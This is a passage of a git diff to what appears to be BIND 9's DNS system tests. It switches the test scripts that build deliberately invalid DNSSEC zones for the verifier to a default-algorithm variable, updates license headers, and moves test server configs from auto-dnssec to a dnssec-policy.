 cat unsigned.db $key1.key $key2.key > ${file}
 
 # A set of zones with expired records
 s="-s -2678400"
 setup zsk-only.nsec.expired bad
-$KEYGEN -a rsasha256 ${zone}> kg.out$n 2>&1 || dumpit kg.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} ${zone}> kg.out$n 2>&1 || dumpit kg.out$n
 $SIGNER -SP ${s} -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 setup ksk-only.nsec.expired bad
-$KEYGEN -a rsasha256 -fK ${zone} > kg.out$n 2>&1 || dumpit kg.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} > kg.out$n 2>&1 || dumpit kg.out$n
 $SIGNER -SPz ${s} -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 setup ksk+zsk.nsec.expired bad
-$KEYGEN -a rsasha256 ${zone} > kg1.out$n 2>&1 || dumpit kg1.out$n
-$KEYGEN -a rsasha256 -fK ${zone} > kg2.out$n 2>&1 || dumpit kg2.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} > kg1.out$n 2>&1 || dumpit kg1.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} > kg2.out$n 2>&1 || dumpit kg2.out$n
 $SIGNER -SP ${s} -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 setup zsk-only.nsec3.expired bad
-$KEYGEN -a rsasha256 ${zone}> kg.out$n 2>&1 || dumpit kg.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} ${zone}> kg.out$n 2>&1 || dumpit kg.out$n
 $SIGNER -3 - ${s} -SP -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 setup ksk-only.nsec3.expired bad
-$KEYGEN -a rsasha256 -fK ${zone} > kg.out$n 2>&1 || dumpit kg.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} > kg.out$n 2>&1 || dumpit kg.out$n
 $SIGNER -3 - ${s} -SPz -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 setup ksk+zsk.nsec3.expired bad
-$KEYGEN -a rsasha256 ${zone} > kg1.out$n 2>&1 || dumpit kg1.out$n
-$KEYGEN -a rsasha256 -fK ${zone} > kg2.out$n 2>&1 || dumpit kg2.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} > kg1.out$n 2>&1 || dumpit kg1.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} > kg2.out$n 2>&1 || dumpit kg2.out$n
 $SIGNER -3 - ${s} -SPx -o ${zone} -f ${file} unsigned.db > s.out$n || dumpit s.out$n
 
 # ksk expired
 setup ksk+zsk.nsec.ksk-expired bad
-zsk=`$KEYGEN -a rsasha256 ${zone} 2> kg1.out$n` || dumpit kg1.out$n
-ksk=`$KEYGEN -a rsasha256 -fK ${zone} 2> kg2.out$n` || dumpit kg2.out$n
+zsk=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2> kg1.out$n) || dumpit kg1.out$n
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2> kg2.out$n) || dumpit kg2.out$n
 cat unsigned.db $ksk.key $zsk.key > $file
 $SIGNER -Px -o ${zone} -f ${file} ${file} $zsk > s.out$n || dumpit s.out$n
 $SIGNER ${s} -P -O full -o ${zone} -f ${file} ${file} $ksk > s.out$n || dumpit s.out$n
-now=`date -u +%Y%m%d%H%M%S`
-exp=`awk '$4 == "RRSIG" && $5 == "DNSKEY" { print $9;}' ${file}`
+now=$(date -u +%Y%m%d%H%M%S)
+exp=$(awk '$4 == "RRSIG" && $5 == "DNSKEY" { print $9;}' ${file})
 [ "${exp:-40001231246060}" -lt ${now:-0} ] || dumpit $file
 
 setup ksk+zsk.nsec3.ksk-expired bad
-zsk=`$KEYGEN -a rsasha256 ${zone} 2> kg1.out$n` || dumpit kg1.out$n
-ksk=`$KEYGEN -a rsasha256 -fK ${zone} 2> kg2.out$n` || dumpit kg2.out$n
+zsk=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2> kg1.out$n) || dumpit kg1.out$n
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2> kg2.out$n) || dumpit kg2.out$n
 cat unsigned.db $ksk.key $zsk.key > $file
 $SIGNER -3 - -Px -o ${zone} -f ${file} ${file} $zsk > s.out$n || dumpit s.out$n
 $SIGNER -3 - ${s} -P -O full -o ${zone} -f ${file} ${file} $ksk > s.out$n || dumpit s.out$n
-now=`date -u +%Y%m%d%H%M%S`
-exp=`awk '$4 == "RRSIG" && $5 == "DNSKEY" { print $9;}' ${file}`
+now=$(date -u +%Y%m%d%H%M%S)
+exp=$(awk '$4 == "RRSIG" && $5 == "DNSKEY" { print $9;}' ${file})
 [ "${exp:-40001231246060}" -lt ${now:-0} ] || dumpit $file
 
 # broken nsec chain
 setup ksk+zsk.nsec.broken-chain bad
-zsk=`$KEYGEN -a rsasha256 ${zone} 2> kg1.out$n` || dumpit kg1.out$n
-ksk=`$KEYGEN -a rsasha256 -fK ${zone} 2> kg2.out$n` || dumpit kg2.out$n
+zsk=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2> kg1.out$n) || dumpit kg1.out$n
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2> kg2.out$n) || dumpit kg2.out$n
 cat unsigned.db $ksk.key $zsk.key > $file
 $SIGNER -P -O full -o ${zone} -f ${file} ${file} $ksk > s.out$n || dumpit s.out$n
 awk '$4 == "NSEC" { $5 = "'$zone'."; print } { print }' ${file} > ${file}.tmp
@@ -170,8 +175,8 @@ $SIGNER -Px -Z nonsecify -o ${zone} -f ${file} ${file}.tmp $zsk > s.out$n || dum
 
 # bad nsec bitmap
 setup ksk+zsk.nsec.bad-bitmap bad
-zsk=`$KEYGEN -a rsasha256 ${zone} 2> kg1.out$n` || dumpit kg1.out$n
-ksk=`$KEYGEN -a rsasha256 -fK ${zone} 2> kg2.out$n` || dumpit kg2.out$n
+zsk=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2> kg1.out$n) || dumpit kg1.out$n
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2> kg2.out$n) || dumpit kg2.out$n
 cat unsigned.db $ksk.key $zsk.key > $file
 $SIGNER -P -O full -o ${zone} -f ${file} ${file} $ksk > s.out$n || dumpit s.out$n
 awk '$4 == "NSEC" && /SOA/ { $6=""; print } { print }' ${file} > ${file}.tmp
@@ -179,8 +184,8 @@ $SIGNER -Px -Z nonsecify -o ${zone} -f ${file} ${file}.tmp $zsk > s.out$n || dum
 
 # extra NSEC record out side of zone
 setup ksk+zsk.nsec.out-of-zone-nsec bad
-zsk=`$KEYGEN -a rsasha256 ${zone} 2> kg1.out$n` || dumpit kg1.out$n
-ksk=`$KEYGEN -a rsasha256 -fK ${zone} 2> kg2.out$n` || dumpit kg2.out$n
+zsk=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2> kg1.out$n) || dumpit kg1.out$n
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2> kg2.out$n) || dumpit kg2.out$n
 cat unsigned.db $ksk.key $zsk.key > $file
 $SIGNER -P -O full -o ${zone} -f ${file} ${file} $ksk > s.out$n || dumpit s.out$n
 echo "out-of-zone. 3600 IN NSEC ${zone}. A" >> ${file}
@@ -188,8 +193,8 @@ $SIGNER -Px -Z nonsecify -O full -o ${zone} -f ${file} ${file} $zsk > s.out$n ||
 
 # extra NSEC record below bottom of zone
 setup ksk+zsk.nsec.below-bottom-of-zone-nsec bad
-zsk=`$KEYGEN -a rsasha256 ${zone} 2> kg1.out$n` || dumpit kg1.out$n
-ksk=`$KEYGEN -a rsasha256 -fK ${zone} 2> kg2.out$n` || dumpit kg2.out$n
+zsk=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2> kg1.out$n) || dumpit kg1.out$n
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2> kg2.out$n) || dumpit kg2.out$n
 cat unsigned.db $ksk.key $zsk.key > $file
 $SIGNER -P -O full -o ${zone} -f ${file} ${file} $ksk > s.out$n || dumpit s.out$n
 echo "ns.sub.${zone}. 3600 IN NSEC ${zone}. A AAAA" >> ${file}
@@ -199,8 +204,8 @@ awk '$1 ~ /^ns.sub/ && $4 == "RRSIG" && $5 != "NSEC" { next; } { print; }' ${fil
 
 # extra NSEC record below DNAME
 setup ksk+zsk.nsec.below-dname-nsec bad
-zsk=`$KEYGEN -a rsasha256 ${zone} 2> kg1.out$n` || dumpit kg1.out$n
-ksk=`$KEYGEN -a rsasha256 -fK ${zone} 2> kg2.out$n` || dumpit kg2.out$n
+zsk=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2> kg1.out$n) || dumpit kg1.out$n
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2> kg2.out$n) || dumpit kg2.out$n
 cat unsigned.db $ksk.key $zsk.key > $file
 $SIGNER -P -O full -o ${zone} -f ${file} ${file} $ksk > s.out$n || dumpit s.out$n
 echo "sub.dname.${zone}. 3600 IN NSEC ${zone}. TXT" >> ${file}
@@ -210,12 +215,12 @@ $SIGNER -Px -Z nonsecify -O full -o ${zone} -f ${file} ${file} $zsk > s.out$n ||
 # extract the hash fields from the empty node's NSEC 3 record then fix up
 # the NSEC3 chain to remove it
 setup ksk+zsk.nsec3.missing-empty bad
-zsk=`$KEYGEN -a rsasha256 ${zone} 2> kg1.out$n` || dumpit kg1.out$n
-ksk=`$KEYGEN -a rsasha256 -fK ${zone} 2> kg2.out$n` || dumpit kg2.out$n
+zsk=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2> kg1.out$n) || dumpit kg1.out$n
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2> kg2.out$n) || dumpit kg2.out$n
 cat unsigned.db $ksk.key $zsk.key > $file
 $SIGNER -3 - -P -O full -o ${zone} -f ${file} ${file} $ksk > s.out$n || dumpit s.out$n
-a=`awk '$4 == "NSEC3" && NF == 9 { split($1, a, "."); print a[1]; }' ${file}`
-b=`awk '$4 == "NSEC3" && NF == 9 { print $9; }' ${file}`
+a=$(awk '$4 == "NSEC3" && NF == 9 { split($1, a, "."); print a[1]; }' ${file})
+b=$(awk '$4 == "NSEC3" && NF == 9 { print $9; }' ${file})
 awk '
 $4 == "NSEC3" && $9 == "'$a'" { $9 = "'$b'"; print; next; }
 $4 == "NSEC3" && NF == 9 { next; }
@@ -224,8 +229,8 @@ $SIGNER -3 - -Px -Z nonsecify -O full -o ${zone} -f ${file} ${file}.tmp $zsk > s
 
 # extra NSEC3 record
 setup ksk+zsk.nsec3.extra-nsec3 bad
-zsk=`$KEYGEN -a rsasha256 ${zone} 2> kg1.out$n` || dumpit kg1.out$n
-ksk=`$KEYGEN -a rsasha256 -fK ${zone} 2> kg2.out$n` || dumpit kg2.out$n
+zsk=$($KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} 2> kg1.out$n) || dumpit kg1.out$n
+ksk=$($KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} 2> kg2.out$n) || dumpit kg2.out$n
 cat unsigned.db $ksk.key $zsk.key > $file
 $SIGNER -3 - -P -O full -o ${zone} -f ${file} ${file} $ksk > s.out$n || dumpit s.out$n
 awk '
@@ -240,3 +245,14 @@ $4 == "NSEC3" && NF == 9 {
 cat ${file}.tmp >> ${file}
 rm -f ${file}.tmp
 $SIGNER -3 - -Px -Z nonsecify -O full -o ${zone} -f ${file} ${file} $zsk > s.out$n || dumpit s.out$n
+
+# sign and verify with journal file
+setup updated other
+$KEYGEN -a ${DEFAULT_ALGORITHM} ${zone} > kg1.out$n 2>&1 || dumpit kg1.out$n
+$KEYGEN -a ${DEFAULT_ALGORITHM} -fK ${zone} > kg2.out$n 2>&1 || dumpit kg2.out$n
+cat unsigned.db $ksk.key $zsk.key > $file
+$SIGNER -SPx -o ${zone} -f $file $file > s.out$n || dumpit s.out$n
+sed -e '/serial/s/0/1/' $file > ${file}.update
+echo "extra 3600 IN A 4.3.2.1" >> ${file}.update
+$SIGNER -SPx -o ${zone} -f ${file}.update ${file}.update > s.out$n || dumpit s.out$n
+$MAKEJOURNAL updated ${file} ${file}.update ${file}.jnl > mj.out$n 2>&1 || dumpit mj.out$n
diff --git a/bin/tests/system/verify/zones/unsigned.db b/bin/tests/system/verify/zones/unsigned.db
index a1e250ed1c..1e7cd2b677 100644
--- a/bin/tests/system/verify/zones/unsigned.db
+++ b/bin/tests/system/verify/zones/unsigned.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/views/clean.sh b/bin/tests/system/views/clean.sh
index 26db234635..d644c2a6af 100644
--- a/bin/tests/system/views/clean.sh
+++ b/bin/tests/system/views/clean.sh
@@ -1,9 +1,11 @@
 #!/bin/sh
-#
+
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
 # file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
diff --git a/bin/tests/system/views/ns1/named.conf.in b/bin/tests/system/views/ns1/named.conf.in
index 6bbbe90ea1..888b9b0ec3 100644
--- a/bin/tests/system/views/ns1/named.conf.in
+++ b/bin/tests/system/views/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,6 +20,7 @@ options {
 	listen-on { 10.53.0.1; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify yes;
 };
 
diff --git a/bin/tests/system/views/ns1/root.db b/bin/tests/system/views/ns1/root.db
index dab5cea7f7..17780d13f0 100644
--- a/bin/tests/system/views/ns1/root.db
+++ b/bin/tests/system/views/ns1/root.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/views/ns2/1.10.in-addr.arpa.db b/bin/tests/system/views/ns2/1.10.in-addr.arpa.db
index ffe6d0d105..7ca723d4ea 100644
--- a/bin/tests/system/views/ns2/1.10.in-addr.arpa.db
+++ b/bin/tests/system/views/ns2/1.10.in-addr.arpa.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/views/ns2/clone.db b/bin/tests/system/views/ns2/clone.db
index 52bedaab3a..0f2de76847 100644
--- a/bin/tests/system/views/ns2/clone.db
+++ b/bin/tests/system/views/ns2/clone.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/views/ns2/example1.db b/bin/tests/system/views/ns2/example1.db
index 4a3f33fb98..4d60ce3011 100644
--- a/bin/tests/system/views/ns2/example1.db
+++ b/bin/tests/system/views/ns2/example1.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/views/ns2/example2.db b/bin/tests/system/views/ns2/example2.db
index 85af63822d..966240e92f 100644
--- a/bin/tests/system/views/ns2/example2.db
+++ b/bin/tests/system/views/ns2/example2.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/views/ns2/external/inline.db b/bin/tests/system/views/ns2/external/inline.db
index e41e68c3df..16d53b9326 100644
--- a/bin/tests/system/views/ns2/external/inline.db
+++ b/bin/tests/system/views/ns2/external/inline.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/views/ns2/internal.db b/bin/tests/system/views/ns2/internal.db
index 38a6b0d590..4f1014f152 100644
--- a/bin/tests/system/views/ns2/internal.db
+++ b/bin/tests/system/views/ns2/internal.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/views/ns2/internal/inline.db b/bin/tests/system/views/ns2/internal/inline.db
index 8da7940893..7a3087312a 100644
--- a/bin/tests/system/views/ns2/internal/inline.db
+++ b/bin/tests/system/views/ns2/internal/inline.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/views/ns2/named1.conf.in b/bin/tests/system/views/ns2/named1.conf.in
index 64ac6fa8d9..cfd5526d9f 100644
--- a/bin/tests/system/views/ns2/named1.conf.in
+++ b/bin/tests/system/views/ns2/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,18 +20,25 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	notify yes;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
 	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
 };
 
+dnssec-policy "views" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		csk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
 
 zone "." {
 	type hint;
@@ -46,6 +55,6 @@ zone "inline" {
 	type primary;
 	file "external/inline.db";
 	key-directory "external";
-	auto-dnssec maintain;
+	dnssec-policy views;
 	inline-signing yes;
 };
diff --git a/bin/tests/system/views/ns2/named2.conf.in b/bin/tests/system/views/ns2/named2.conf.in
index 66713fcf8a..beea2abe32 100644
--- a/bin/tests/system/views/ns2/named2.conf.in
+++ b/bin/tests/system/views/ns2/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,18 +20,26 @@ options {
 	listen-on { 10.53.0.2; 10.53.0.4; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	notify yes;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
 	inet 10.53.0.2 port @CONTROLPORT@ allow { any; } keys { rndc_key; };
 };
 
+dnssec-policy "views" {
+	keys {
+		ksk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+		csk key-directory lifetime unlimited algorithm @DEFAULT_ALGORITHM@;
+	};
+};
+
 view "internal" {
 	match-clients { 10.53.0.2;
 			10.53.0.3; };
@@ -60,7 +70,7 @@ view "internal" {
 		type primary;
 		file "internal/inline.db";
 		key-directory "internal";
-		auto-dnssec maintain;
+		dnssec-policy views;
 		inline-signing yes;
 	};
 };
@@ -92,7 +102,7 @@ view "external" {
 		type primary;
 		file "external/inline.db";
 		key-directory "external";
-		auto-dnssec maintain;
+		dnssec-policy views;
 		inline-signing yes;
 	};
 };
diff --git a/bin/tests/system/views/ns2/named3.conf.in b/bin/tests/system/views/ns2/named3.conf.in
index 9e36020708..d84cda9692 100644
--- a/bin/tests/system/views/ns2/named3.conf.in
+++ b/bin/tests/system/views/ns2/named3.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -18,12 +20,13 @@ options {
 	listen-on { 10.53.0.2; };
 	listen-on-v6 { none; };
 	recursion no;
+	dnssec-validation no;
 	notify no;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/views/ns3/child.clone.db b/bin/tests/system/views/ns3/child.clone.db
index 9ea8d121e9..9b9002378b 100644
--- a/bin/tests/system/views/ns3/child.clone.db
+++ b/bin/tests/system/views/ns3/child.clone.db
@@ -1,13 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
 
-
 $TTL 300	; 5 minutes
 @		IN SOA	ns3. . (
 			1          ; serial
diff --git a/bin/tests/system/views/ns3/internal.db b/bin/tests/system/views/ns3/internal.db
index cdf2648434..c93c2b0963 100644
--- a/bin/tests/system/views/ns3/internal.db
+++ b/bin/tests/system/views/ns3/internal.db
@@ -1,8 +1,10 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
-; file, You can obtain one at http://mozilla.org/MPL/2.0/.
+; License, v. 2.0.  If a copy of the MPL was not distributed with this
+; file, you can obtain one at https://mozilla.org/MPL/2.0/.
 ;
 ; See the COPYRIGHT file distributed with this work for additional
 ; information regarding copyright ownership.
diff --git a/bin/tests/system/views/ns3/named1.conf.in b/bin/tests/system/views/ns3/named1.conf.in
index b1cc55dbec..b4fbf417cd 100644
--- a/bin/tests/system/views/ns3/named1.conf.in
+++ b/bin/tests/system/views/ns3/named1.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,12 +21,13 @@ options {
 	listen-on { 10.53.0.3; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	notify yes;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/views/ns3/named2.conf.in b/bin/tests/system/views/ns3/named2.conf.in
index ce9607996c..0ef2009732 100644
--- a/bin/tests/system/views/ns3/named2.conf.in
+++ b/bin/tests/system/views/ns3/named2.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
+ * License, v. 2.0.  If a copy of the MPL was not distributed with this
+ * file, you can obtain one at https://mozilla.org/MPL/2.0/.
  *
  * See the COPYRIGHT file distributed with this work for additional
  * information regarding copyright ownership.
@@ -19,12 +21,13 @@ options {
 	listen-on { 10.53.0.3; };
 	listen-on-v6 { none; };
 	recursion yes;
+	dnssec-validation no;
 	notify yes;
 };
 
 key rndc_key {
 	secret "1234abcd8765";
-	algorithm hmac-sha256;
+	algorithm @DEFAULT_HMAC@;
 };
 
 controls {
diff --git a/bin/tests/system/views/ns5/child.clone.db b/bin/tests/system/views/ns5/child.clone.db
index 8dd4ec13ee..e29143bb20 100644
--- a/bin/tests/system/views/ns5/child.clone.db
+++ b/bin/tests/system/views/ns5/child.clone.db
@@ -1,13 +1,14 @@
 ; Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 ;
+; SPDX-License-Identifier: MPL-2.0
+;
 ; This Source Code Form is subject to the terms of the Mozilla Public
-; License, v. 2.0. If a copy of the MPL was not distributed with this
